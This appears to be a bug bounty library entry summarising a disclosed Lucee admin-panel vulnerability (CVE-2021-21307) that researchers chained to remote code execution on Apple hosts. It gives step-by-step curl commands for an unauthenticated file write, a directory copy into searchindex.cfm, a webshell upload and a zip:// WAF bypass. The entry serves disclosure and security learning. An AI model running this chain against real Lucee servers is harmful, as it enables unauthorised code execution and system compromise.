# Finding 0day to hack Apple

Unauthenticated CFM files in Lucee admin panel allowed file write and directory copy, chained to RCE on Apple hosts despite WAF.

- Payout: $50,000
- Severity: critical
- Program: Apple, Lucee
- Credited: Harsh Jaiswal, Rahul Maini
- Disclosed: 2021-01-16
- CVE: CVE-2021-21307
- Write-up quality: 9/10
- Original: https://httpvoid.com/Apple-RCE.md
- Library page: https://bugbountylibrary.com/r/blog%3Ahttpvoid-com-apple-rce-md
- Tags: domain:web impact:rce kind:bounty platform:blog sev:critical tech:java technique:chained technique:source-review vuln:auth-bypass vuln:file-upload vuln:path-traversal vuln:rce

**Target:** Lucee admin CFM endpoints (imgProcess.cfm, admin.search.index.cfm, ext.applications.upload.cfm)
**Root cause:** Lucee admin CFM files execute code before the request.admintype auth check, exposing file-write and directory-copy primitives to unauthenticated users.
**Steps:**
1. `curl -X POST 'https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65...%3e%2e%63%66%6d' --data 'imgSrc="#stText.Buttons.save#"'` to write a CFM-named file with regex-matching content
2. `curl 'http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/'` to copy filename into searchindex.cfm
3. `curl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell` to write webshell
4. Access `https://facilities.apple.com/lucee/rootxharsh/PoC.cfm`
5. For older hosts: upload `payload.lex` (zip containing `server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm`) via `curl -F extfile=@payload.lex 'https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm'`
6. `curl 'https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex'`
7. Trigger `https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell` then access `test.cfm?cmd=id`
**How found:** Recon found three Apple hosts running Lucee-backed CMS; replicated locally, noticed admin CFM files execute code before request.admintype check, then hunted for files with bugs before that check.
**Exploitation:** Chain imgProcess.cfm arbitrary file write (filename controlled via url.file, content via form.imgSrc) to plant a CFM-named file matching the stText regex, then use admin.search.index.cfm's directory copy to embed that filename as CFML into searchindex.cfm under webroot, yielding a webshell. On older hosts, upload a .lex zip via ext.applications.upload.cfm and reference it with zip:// in luceeArchiveZipPath.
**Escalation:** Used zip:// scheme to read inside uploaded .lex archive, and load-balancer-aware Intruder requests to locate the shell across backends.
**Insight:** Admin-panel CFM files that check request.admintype mid-file still execute earlier code unauthenticated; look for file-write/copy primitives there and abuse Lucee's zip:// scheme to bypass WAF path-traversal filters.